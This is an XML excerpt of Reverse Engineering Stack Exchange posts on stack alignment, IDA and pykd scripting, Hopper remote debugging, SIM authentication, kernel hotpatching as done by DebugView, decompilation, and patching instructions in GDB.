  <row Id="18412" PostTypeId="1" AcceptedAnswerId="18413" CreationDate="2018-05-31T08:33:30.673" Score="3" ViewCount="325" Body="&lt;p&gt;I'm a beginner in reverse engineering, and as a beginner I started to read &lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Reverse Engineering for beginers&quot;&lt;/a&gt;.&lt;br&gt;&#xA;Here is the hello world program from the book (taken from chapter 3, page 12) :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now let’s try to compile the same C/C++ code in the GCC 4.4.1 compiler in Linux:&#xA;  gcc 1.c -o 1 Next, with the assistance of the IDA disassembler, let’s see how&#xA;  the main() function was created. IDA, like MSVC, uses Intel-syntax5.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main proc near&#xA;&#xA;var_10 = dword ptr -10h&#xA;&#xA;     push ebp&#xA;     mov ebp, esp&#xA;     and esp, 0FFFFFFF0h&#xA;     sub esp, 10h&#xA;     mov eax, offset aHelloWorld ; &quot;hello, world\n&quot;&#xA;     mov [esp+10h+var_10], eax&#xA;     call _printf&#xA;     mov eax, 0&#xA;     leave&#xA;     retn&#xA;main endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two lines I don't understand at all : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;and esp, 0FFFFFFF0h&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sub esp, 10h&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From what I understood from the book, we add &lt;code&gt;0FFFFFFF0h&lt;/code&gt; (equals -16) value to ESP in order to align the stack to a 16byte boundary for optimisation.&#xA;&lt;br&gt;&#xA;My question is : why do we add -16 and then substract 16 to the stack? It seems pointless to me, can't we substract directly 32?&#xA;Second, if I'm understanding well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the program starts with EBP = ESP, because nothing is on the stack. &lt;/li&gt;&#xA;&lt;li&gt;Then EBP is pushed to the stack. Assuming the program is 64bit, ESP is now EBP - 8 (because of the 64bits). So now we have ESP != EBP.&lt;/li&gt;&#xA;&lt;li&gt;Then we copy the content of ESP into EBP. So we have EBP = ESP, and EBP = fristEBP (EBP when the program started) - 8. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why do we need to modify the value of EBP? &lt;a href=&quot;https://stackoverflow.com/questions/4584089/what-is-the-function-of-the-push-pop-instructions-used-on-registers-in-x86-ass&quot;&gt;PUSH instruction is supposed to change the value of ESP&lt;/a&gt;, not EBP, so why would there be any problem not modifying EBP value at the function prolog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;So now we have EBP = ESP, and both are fristEBP (EBP when the program started) - 8. So now we are adding -16 to the stack, so ESP becomes ESP - 16 (ESP - 24 if we consider that we've been adding -8 to the stack). &lt;br&gt;&#xA;What is -24 have to do with a 16byte boundary?&#xA;Why do we substract 16 again from the stack with &lt;code&gt;sub esp, 10h&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Notes : I'm sorry for the english, and sorry if I'm asking dumb questions, the book isn't clear enought and I failed to find explainations on the net.&lt;/p&gt;&#xA;" OwnerUserId="23314" LastEditorUserId="23314" LastEditDate="2018-05-31T09:27:19.920" LastActivityDate="2018-05-31T09:27:19.920" Title="Basic hello world stack manipulation troubles" Tags="|c|static-analysis|stack|gcc|intel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18413" PostTypeId="2" ParentId="18412" CreationDate="2018-05-31T09:15:34.047" Score="2" Body="&lt;p&gt;It's not &lt;code&gt;add&lt;/code&gt; in the first opcode. It's &lt;code&gt;and&lt;/code&gt;. So it will clear the lower nibble for the last byte in the address. This is how the alignment is done and not by adding anything. Only later you &lt;code&gt;sub&lt;/code&gt; 16 to have room for the local variables.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do we need to modify the value of EBP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We use &lt;code&gt;EBP&lt;/code&gt; to store the initial &lt;code&gt;ESP&lt;/code&gt; value. &lt;code&gt;EBP&lt;/code&gt; is pointing to the current stack frame. This is the place for local variables created withing the function. Before we modify &lt;code&gt;EBP&lt;/code&gt; it is stored on the stack so that we can restore it before we leave the function.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-05-31T09:15:34.047" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18414" PostTypeId="2" ParentId="18411" CreationDate="2018-05-31T09:51:05.040" Score="1" Body="&lt;p&gt;This sounds more like you need to become familiar with the Delphi API. I googled a bit:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At runtime, users can use the database navigator (TDBNavigator) to move through data in the TDBCtrlGrid object, and to insert, delete, and edit the data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/delphivclwin32/DBCGrids_TDBCtrlGrid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/delphivclwin32/DBCGrids_TDBCtrlGrid.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding, you define a data source (this is the part I didn't understand), connect it to a data viewer widget like your CtrlGrid and add a Navigator that handles the view into the data source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either the program uses the TDBNavigator to add data and this might be your hook, or there is some other way to alter your data source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd probably look for simple example code using all the above to see how one typically implements it in Delphi, then it should be straight-forward to find the proper hook location.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-31T09:51:05.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18416" PostTypeId="2" ParentId="18361" CreationDate="2018-05-31T18:02:03.070" Score="2" Body="&lt;p&gt;My variant with pykd + pykdwin&lt;br&gt;&#xA;&lt;a href=&quot;https://githomelab.ru/pykd/pykdwin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://githomelab.ru/pykd/pykdwin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pykdwin.pe import get_exports&#xA;&#xA;bps = list()&#xA;for name, addr in get_exports('kernel32'):&#xA;  bps.append( setBp(addr) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to run this script with --global option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!py --global set_allbp.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24575" LastActivityDate="2018-05-31T18:02:03.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18417" PostTypeId="1" AcceptedAnswerId="18419" CreationDate="2018-06-01T08:21:33.137" Score="3" ViewCount="942" Body="&lt;p&gt;Is it possible to obtain a node and edge count for the IDA Pro graph overview? I'm able to obtain this if I generate a wingraph32 flowchart, but it seems that wingraph32 doesn't work for very large functions. Is there also a way for wingraph32 to support very large graphs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2018-06-01T11:02:28.227" Title="Counting number of nodes and edges in IDA Pro graph" Tags="|ida|control-flow-graph|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18419" PostTypeId="2" ParentId="18417" CreationDate="2018-06-01T11:02:28.227" Score="4" Body="&lt;p&gt;If you want to get a node and edge count for a function's graph in IDA, you can calculate it with the given IDAPython code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func = idaapi.get_func(here())&#xA;g = idaapi.FlowChart(func)&#xA;&#xA;nodes = 0&#xA;edges = 0&#xA;for x in g:&#xA;  nodes += 1&#xA;  for succ in x.succs():&#xA;    edges += 1&#xA;&#xA;  for pred in x.preds():&#xA;    edges += 1&#xA;&#xA;print &quot;Number of nodes&quot;, nodes&#xA;print &quot;Number of edges&quot;, edges&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the wingraph32 tool, I recommend you to use the &quot;Proximity Viewer&quot; instead. Just press the key &quot;-&quot; when the cursor is inside a function.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-06-01T11:02:28.227" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18420" PostTypeId="2" ParentId="18402" CreationDate="2018-06-01T14:27:01.430" Score="3" Body="&lt;p&gt;I figured out how to make it work. Here's the procedure that needs to be followed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open a copy of the executable to be analyzed in Hopper on the host Mac&lt;/li&gt;&#xA;&lt;li&gt;Put a copy of the executable to be analyzed on the VM&lt;/li&gt;&#xA;&lt;li&gt;Install Hopper Debugger Server on the VM and launch it&lt;/li&gt;&#xA;&lt;li&gt;In Hopper on the host Mac, choose Debug &gt; Select Debugger&lt;/li&gt;&#xA;&lt;li&gt;Select the VM&lt;/li&gt;&#xA;&lt;li&gt;Change the path to the executable to the correct path on the VM, rather than the path to the file on the host Mac&lt;/li&gt;&#xA;&lt;li&gt;Begin debugging in Hopper on the host Mac!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I heard from someone else that doing this caused a beachball on their machine, but don't have details. This worked for me, using the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hopper 4.3.24&lt;/li&gt;&#xA;&lt;li&gt;Hopper Debugger Server 2.4&lt;/li&gt;&#xA;&lt;li&gt;macOS 10.13.4 on the host Mac&lt;/li&gt;&#xA;&lt;li&gt;macOS 10.12.6 on the VM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24554" LastActivityDate="2018-06-01T14:27:01.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18421" PostTypeId="2" ParentId="15011" CreationDate="2018-06-01T19:41:25.357" Score="1" Body="&lt;p&gt;Found some good answers in this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.howtogeek.com/353634/what-is-a-sim-card/&quot; rel=&quot;nofollow noreferrer&quot;&gt;What Is A SIM Card (And What Comes Next)?&lt;/a&gt; (howtogeek.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXCERPT:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What’s Stored On A SIM Card?&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A SIM card stores the 15-digit International Mobile Subscriber Identity (IMSI) &#xA;  identifying the card on carrier’s mobile network. The IMSI is an&#xA;  important part of the lookup process and determines the network to&#xA;  which a mobile device connects.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Along with the IMSI, a 128-bit value authentication key (Ki) is sent&#xA;  to verify your SIM with the GSM cellular network. The Ki is assigned&#xA;  by the operator and stored in a database on their network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A SIM card is also capable of storing SMS messages and the names and&#xA;  phone numbers of up to 500 contacts, depending on the memory size of&#xA;  the SIM card you have. If you have to change phones for whatever&#xA;  reason, you’re able to transfer your contacts via the SIM card&#xA;  painlessly.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most SIM cards contain between 64-128 KB of storage.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&gt; How Does A SIM Work?&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Essentially, a SIM card serves as your phone’s credentials to access&#xA;  the carrier network. Because the SIM holds this information, you’re&#xA;  able to pop it into any phone with the same carrier, or an unlocked&#xA;  phone, to access the network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here’s how it works:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When you boot up your device, it obtains the IMSI from the SIM, and&#xA;  then relays the IMSI to the network in order to request access. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The operator network searches the database for your IMSI and the&#xA;  associated Ki. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Assuming your IMSI and Ki are verified, the operator&#xA;  then generates a random number, signs it with your Ki using the GSM&#xA;  cryptography algorithm for computing SRES_2, and creates a new unique&#xA;  number. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The network then sends that unique number back to the device,&#xA;  which then passes it to the SIM to use in the same algorithm, creating&#xA;  a third number. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This number is then relayed back to the network. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If both numbers match, the SIM card is deemed legitimate and is granted&#xA;  access to the network. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;So if you break the screen on your phone, while&#xA;  it’s getting fixed you can take your SIM out and put it in a&#xA;  replacement phone and still access phone calls, texts, and data from&#xA;  your network.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18580" LastActivityDate="2018-06-01T19:41:25.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18423" PostTypeId="1" AcceptedAnswerId="18431" CreationDate="2018-06-02T03:49:45.387" Score="1" ViewCount="1204" Body="&lt;p&gt;When I place my cursor on an instruction (on the address, opcode or operand) in the IDA-view, and switch immediately to HEX-view, I expected the hex bytes corresponding to the instructions to be selected. However, IDA 7.0.171130 (x86_64) is not behaving as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, I have selected the address &lt;code&gt;0x8000328&lt;/code&gt; in the IDA view (the cursor is not visible in the screenshot) which is a &lt;code&gt;mov&lt;/code&gt; instruction. However, the HEX-view shows &lt;code&gt;E8 D9 04 00 00&lt;/code&gt; highlighted with the cursor on it; which is a &lt;code&gt;call&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IjAig.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IjAig.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uts7n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uts7n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-06-03T07:06:01.587" Title="How can I fix the problem of IDA view and corresponding HEX view not being in sync?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18424" PostTypeId="2" ParentId="6052" CreationDate="2018-06-02T05:52:00.913" Score="2" Body="&lt;p&gt;Here's an &lt;a href=&quot;https://jpassing.com/2011/05/03/windows-hotpatching-a-walkthrough/&quot; rel=&quot;nofollow noreferrer&quot;&gt;older article&lt;/a&gt; on how hotpatching was implemented in Windows. If you want it done absolutely atomically, it has to be done from the kernel mode. There's no way around it. Here's the walkthrough:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set your thread's IRQL to &lt;code&gt;CLOCK1_LEVEL&lt;/code&gt; (heck, you can even try &lt;code&gt;HIGH_LEVEL&lt;/code&gt;), which is way above 2, that will pretty much stop all task switching in that system for the time your patching code is running. It is also high enough to preempt most interrupts. Or, you can try to disable them with a &lt;code&gt;CLI&lt;/code&gt; instruction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also schedule CPU-specific DPCs on all CPUs but your thread to keep those DPCs busy. (This is needed in case of a multi-core CPU.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This basically turns your patching thread into a single threaded environment for a short while.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To ensure that no other running thread was stopped on that short span of executable memory where you're applying your 5-byte JMP, walk through the context of each thread and check its RIP value. In an unlikely event that it overlaps, either cancel the patch and retry after a short while, or raise the thread's IRQL for a very short while and then lower it back. Then check again. Repeat N times until its RIP doesn't overlap with the patch.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally apply the patch. Make sure to do it as quickly as possible. Try not to call any outside functions. Just do a quick &lt;code&gt;REP MOVS&lt;/code&gt; on a prepared memory blob.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You'll probably need to clear the processor's instruction cache. (In case the old code before the patch was in there.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then undo all the steps above to restore the system back into the working state.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;PS. Should work in theory. In practice, &lt;em&gt;debugging&lt;/em&gt; this will be a living hell. Obviously do it in a VM and be ready to reboot (a lot.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Here's an actual example, taken from the &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/debugview&quot; rel=&quot;nofollow noreferrer&quot;&gt;DebugView&lt;/a&gt; tool. If you know what it does, it tries to capture a program's debugger output. If you enable kernel debugger output on an older OS, that tool has no other option but to install a trampoline on a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-dbgprint&quot; rel=&quot;nofollow noreferrer&quot;&gt;DbgPrint&lt;/a&gt; function on a live system when the DebugView starts up.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it does it (it uses somewhat old kernel functions, but it still delivers the idea):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Get number of CPU cores (it uses an older &lt;code&gt;KeNumberProcessors&lt;/code&gt; global variable as such):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rA2D1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rA2D1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For modern code I would probably use &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-kequeryactiveprocessors&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;KeQueryActiveProcessors()&lt;/code&gt;&lt;/a&gt; with its bitmask, and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-kequerygroupaffinity&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;KeQueryGroupAffinity()&lt;/code&gt;&lt;/a&gt; to account for number of CPUs greater than 32/64.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Make sure that the current thread is running on the CPU core 0 by calling &lt;code&gt;KeSetAffinityThread&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SJJzW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJJzW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Then check global variable &lt;code&gt;bDontSet_FuncTrampoline&lt;/code&gt; in case we don't need to set this trampoline &amp;amp; restore thread affinity by jumping to step 6. But that case is not interesting.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Then check if we just have one CPU core, and if so jump to step 5. (Not very interesting either.) Otherwise set global variable &lt;code&gt;nCountCpuCores&lt;/code&gt; to the count of CPU cores, and reset global &lt;code&gt;bAllowToContinue_CoreNon0_DeferredRoutine&lt;/code&gt; flag to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7hYCw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7hYCw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Set each CPU core (other than 0, i.e. &lt;code&gt;rsi&lt;/code&gt; pointer starts from index 1, or 0x8 offset in bytes) for &lt;code&gt;high importance&lt;/code&gt; DPCs (&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-dpc-objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;deferred procedure calls&lt;/a&gt;) for our &lt;a href=&quot;https://msdn.microsoft.com/library/windows/hardware/ff542972?f=255&amp;amp;MSPPError=-2147217396&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DeferredRoutine&lt;/code&gt;&lt;/a&gt; with the &lt;code&gt;context&lt;/code&gt; set to CPU core number:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PHQvN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHQvN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will basically preempt whatever those other cores were doing and direct them to our DPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; Then for our thread running in core 0, execute DPC routine &lt;code&gt;DeferredRoutine&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zSPLY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zSPLY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; After which restore this thread's affinity to what it used to be before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BXj5x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BXj5x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now the interesting thing is what happens in &lt;code&gt;DeferredRoutine&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that this routine will be executed on each CPU core.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A.&lt;/strong&gt; The first step, set &lt;a href=&quot;https://blogs.msdn.microsoft.com/doronh/2010/02/02/what-is-irql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IRQL&lt;/a&gt; for the thread to &lt;code&gt;CLOCK_LEVEL&lt;/code&gt; (or &lt;code&gt;13&lt;/code&gt; for x64 code.) This is done by using the &lt;code&gt;cr8&lt;/code&gt; CPU register. Doing this will block processing of the most interrupts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mzTTB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzTTB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B.&lt;/strong&gt; Then decrement the counter in &lt;code&gt;nCountCpuCores&lt;/code&gt; global variable, but do it using a &lt;code&gt;lock&lt;/code&gt; CPU prefix to ensure synchronization among all CPU cores:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ccjl4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccjl4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C.&lt;/strong&gt; Check what CPU core this thread runs on and enter a spin-loop accordingly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I56v5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I56v5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C.1.&lt;/strong&gt; (&lt;em&gt;Right side block in the code flow above.&lt;/em&gt;) For non-0 cores continue spinning in a loop while global variable &lt;code&gt;bAllowToContinue_CoreNon0_DeferredRoutine&lt;/code&gt; is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C.2.&lt;/strong&gt; (&lt;em&gt;Left side block in the code flow above.&lt;/em&gt;) For core 0, continue spinning in a loop while the count of processed cores in the &lt;code&gt;nCountCpuCores&lt;/code&gt; global variable doesn't reach 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would personally add to each of those loops a &lt;a href=&quot;https://stackoverflow.com/questions/4725676/how-does-x86-pause-instruction-work-in-spinlock-and-can-it-be-used-in-other-sc&quot;&gt;&lt;code&gt;pause&lt;/code&gt;&lt;/a&gt; instruction to ensure that CPU doesn't waste too much power while &quot;spinning&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C.3.&lt;/strong&gt; Once the condition C.2. has been met, it means that we have our core 0 all to ourselves and all other cores are busy spinning in the loop in C.1. and we can proceed by calling our &lt;code&gt;install_func_Trampoline&lt;/code&gt; function to install required trampoline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C.4.&lt;/strong&gt; When we're done with the trampoline, remember to release all cores from the spin-loop in C.1. by setting &lt;code&gt;bAllowToContinue_CoreNon0_DeferredRoutine&lt;/code&gt; to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;D.&lt;/strong&gt; Lastly, very important, restore IRQL back to what it used to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/07lGP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/07lGP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Return error &lt;code&gt;nt_status&lt;/code&gt; code, if so. Otherwise, we're done!&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2018-06-25T06:26:48.633" LastActivityDate="2018-06-25T06:26:48.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18426" PostTypeId="2" ParentId="18409" CreationDate="2018-06-02T09:59:15.010" Score="3" Body="&lt;p&gt;The &lt;strong&gt;source&lt;/strong&gt; code is discarded completely by the compiler/assembler and is not present anywhere in the rom (except by accident).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you &lt;em&gt;can&lt;/em&gt; convert the low-level machine code to a high level language. This process is called &lt;em&gt;decompilation&lt;/em&gt;, and while it can be tedious and difficult, it is possible to come up with high-level code which has the same functionality as the binary code. Note that this won’t get you &lt;em&gt;source&lt;/em&gt; code, merely &lt;em&gt;equivalent code&lt;/em&gt;. For example, information like function or variable names is not necessary for the CPU so is discarded completely unless you elect to produce debug information, which rarely happens in released games. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On difficulties of machine code decompilation, see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr&quot;&gt;Why are machine code decompilers less capable than for example those for the CLR and JVM?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-06-02T09:59:15.010" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18428" PostTypeId="1" AcceptedAnswerId="18429" CreationDate="2018-06-02T20:59:02.330" Score="2" ViewCount="5812" Body="&lt;p&gt;GDB has a &lt;code&gt;x/i&lt;/code&gt; command (and also &lt;code&gt;disassemble&lt;/code&gt;) which allows to view the instructions at a given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we do the reverse – assemble an instruction and write to a given address?&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditDate="2018-07-03T09:00:49.313" LastActivityDate="2019-09-16T13:13:32.153" Title="How to assemble and inject an instruction with GDB?" Tags="|assembly|gdb|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
